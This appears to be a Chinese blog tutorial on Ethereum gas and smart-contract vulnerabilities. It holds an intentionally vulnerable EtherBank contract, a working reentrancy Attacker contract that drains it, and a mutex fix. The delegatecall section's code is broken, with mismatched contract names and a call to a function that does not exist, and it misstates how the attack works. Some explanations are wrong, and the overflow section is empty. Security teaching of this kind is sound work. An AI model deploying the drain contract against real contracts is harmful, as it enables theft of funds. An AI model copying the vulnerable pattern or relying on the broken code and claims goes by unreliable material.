Gas 是计算资源的度量单位，表示执行操作所需的计算量。每个操作都有一个对应的固定 Gas 消耗量。

Wei 是以太币的最小单位，用于衡量以太币的价值，类似于比特币中的 satoshi。

交易中执行的gas

1.我们所说的智能合约消耗的gas，实际上是在交易时，由交易方设置交易消耗gas的最大数量，以及单个gas对应的以太币价格，由交易的调用方，来支付以太币来对应的gas。

2.矿工会选择执行 gas 价格较高的交易，因为他们可以从中获得更高的手续费奖励。当矿工确认并打包交易时，他们会根据交易中设定的 gas 价格来确定每个 gas 的成本，并将这些成本以以太币的形式支付给矿工作为手续费。

3.矿工将交易打包就是将数据记录再区块上，衔接到区块链网络，从而进行持久化存储，以便后续可查。

immutable

关键字用于在编译时将常量值存储在合约的存储空间中，并通过在部署时初始化该值来确保其不可更改。

回调函数

但不会在声明它的合约内同步调用。相反，它会作为参数传递给其他函数(js)并在满足特定条件时由外部合约进行调用。

1.重入攻击

漏洞复现

向 (银行合约)EherBank.sol,向恶意合约进行转钱withdraw()（起作用:msg.sender.call），由于涉及到以太币接受,恶意合约receive()函数被调用,接着withraw()又被调用，形成递归调用，从而向恶意合约继续转钱。

递归调用，递归之后代码其实在递归结束前，是原状态。(在原函数中)。

EherBank.sol

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract EtherBank{
    mapping(address  => uint)  public   balances; 
    event Deposit(string call);
    event Withdraw(string call);
 

    // 存钱
    function deposit()  external payable{
        balances[msg.sender] += msg.value;
        emit Deposit("bance add");      
    }

   // 取钱
    function withdraw() external payable {
       require( balances[msg.sender] > 0,"balance is not enough");
       (bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
       require(sent,"faild send Ether");     
       balances[msg.sender] = 0;

       }
    

    // 查看我当前账户是否有钱
       function selectdraw() external view returns (uint){
           return balances[msg.sender];
       }

    function getBanlece() external view returns (uint){ // 拿到当前智能合约实例的以太币
       return address(this).balance;
    }


}

Attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
import "./EtherBank.sol";

//@title:攻击者
contract Attacker {
    EtherBank public immutable etherBank;
    address private owner; // 攻击者


   // 拿到合约地址，并初始化
    constructor (address etherBank1){
        etherBank = EtherBank(etherBank1);
        owner = msg.sender;
    }

    modifier onlyOwner(){ // 只保证调用者是攻击者
        require(msg.sender == owner);
        _;
    }

    // 攻击函数
    function attack() public  payable onlyOwner{
        require(msg.value >= 1 ether);
        etherBank.deposit{value:msg.value}(); // 存钱
        etherBank.withdraw();

    }

    // receive
    receive() external payable {
        if(address(etherBank).balance >= 1 ether){
            etherBank.withdraw(); // 递归调用
        }
    }
    // 拿取共计合约的余额
    function getbalances() external view returns (uint){
        return address(this).balance;
    }

}

解决

PS : 其实还可以约束gas的使用，递归每次消耗gas，默认call发送全部gas,那么你调用时，也发送2300gas,不是也能减少消耗。

取钱时，现将账户余额置0，然后再外部合约调用call()发送以太币。
send() ，transfer()这2中能防重入攻击。
采用互斥锁:

互斥锁是添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。

互锁锁EtherBank.sol修改部分:

就是,按照下面互斥锁修改器，取钱函数执行时,默认false，执行，然后locked = true,就代表锁住了,然后在执行取钱代码，call()执行时，虽然receive()函数被调用,withdraw()再次被调用，但是合约实例是一样，那么locked = true，required(!locked,"function is locked")会报错。

...

bool private  locked ; // 互斥锁

    // 互斥锁修改器
    modifier muexLocked(){
        require(!locked,"function is locked");
        locked = true;
        _;
        locked = false;
    }

...

   // 取钱
    function withdraw() external payable muexLocked{
       require( balances[msg.sender] > 0,"balance is not enough");
       (bool sent,)= msg.sender.call{value:balances[msg.sender]}(""); // call容易发生重入攻击
       require(sent,"faild send Ether");     
       balances[msg.sender] = 0;

       }
...

2.算数溢出

3. 委托调用漏洞

https://learnblockchain.cn/article/3627

合约使用委托调用（delegatecall）时，未正确验证调用合约的函数签名，导致攻击者可以调用恶意合约并执行未授权的操作。

使用 delegatecall 后，目标合约的代码将在调用合约的上下文中执行，包括存储、合约地址等信息。

漏洞复现

DelegateCall.sol

在这个合约中，executeDelegateCall 函数允许调用者执行委托调用，将指定的数据传递给另一个合约 trustedContract。委托调用通过 delegatecall 函数执行，这意味着被调用合约的代码会在当前合约的上下文中(共享一个存储空间)执行。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;


contract DelegtaCall{

    // 目标合约的地址
    address private trustedContract;

    // 设置目标合约
    function   setTrustedContract  (address _trustedContract) public{
        trustedContract = _trustedContract;
    }

   // 目标合约要执行的函数
    function excuteDelegtaCall(bytes memory data) public {
        require(trustedContract != address(0),"trustedContract is not address");

        // 委托调用
        (bool success,) = trustedContract.delegatecall(data);
        require(success,"delegatecall failed");

    }
}

然而，这种实现方式存在委托调用漏洞。攻击者可以构造恶意的数据，以欺骗当前合约执行任意合约代码。攻击者可以利用这个漏洞执行任意操作，包括修改合约状态、偷取资金等。

攻击者可以通过以下方式利用委托调用漏洞进行攻击：

伪造合约：攻击者可以构造一个恶意合约，其中包含特殊的逻辑或恶意操作。然后将恶意合约的地址设置为 trustedContract，并调用 executeDelegateCall 函数来执行委托调用。这样，攻击者就可以在当前合约的上下文中执行恶意合约的代码。
冒充合约：攻击者可以使用一个恶意合约来冒充正常的合约，并将其地址设置为 trustedContract。然后，攻击者可以构造恶意数据，并通过 executeDelegateCall 函数触发委托调用。由于当前合约会在冒充合约的上下文中执行代码，攻击者可以执行恶意操作。

Attacker.sol

这个合约中,通过delegatrCall 存储目标合约的地址，攻击者通过调用attack() 函数执行攻击。在该函数中，攻击者构造了一个调用 setTrustedContract 函数的数据，并通过委托调用将该数据传递给目标合约。在这种情况下，攻击者将恶意合约的地址设置为目标合约的 trustedContract。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

import "./DelegateCall.sol";
//@title:恶意合约
contract Attacker {
    address private delegateCall; // 调用合约地址

    constructor(address _delegateCall){
        delegateCall = _delegateCall;
    }

    // 攻击函数
    function attack() public{
       bytes memory data = abi.encodeWithSignature("setTrustedContract(address)", address(this)); // 使攻击合约和目标合约的存储空间连接到一起
       (bool success,) =  delegateCall.delegatecall(data);
       require(success,"attack filed");
    }
    
    function getFun() public view returns (address){
        // 执行delegatecall()之后，就能拿到目标合约的状态变量
        return DelegateCall(delegateCall).getTrustedContract();
    }

    
}

由于委托调用会在当前合约的上下文中执行被调用合约的代码，而恶意合约具有完全控制权，攻击者可以在目标合约的上下文中执行任意操作，包括修改合约状态、偷取资金等。

智能合约 -- 安全漏洞(重入攻击、算数溢出、委托调用漏铜)

1.重入攻击

相关概念

漏洞复现

解决

2.算数溢出

相关概念

3. 委托调用漏洞

相关概念

漏洞复现

猜你喜欢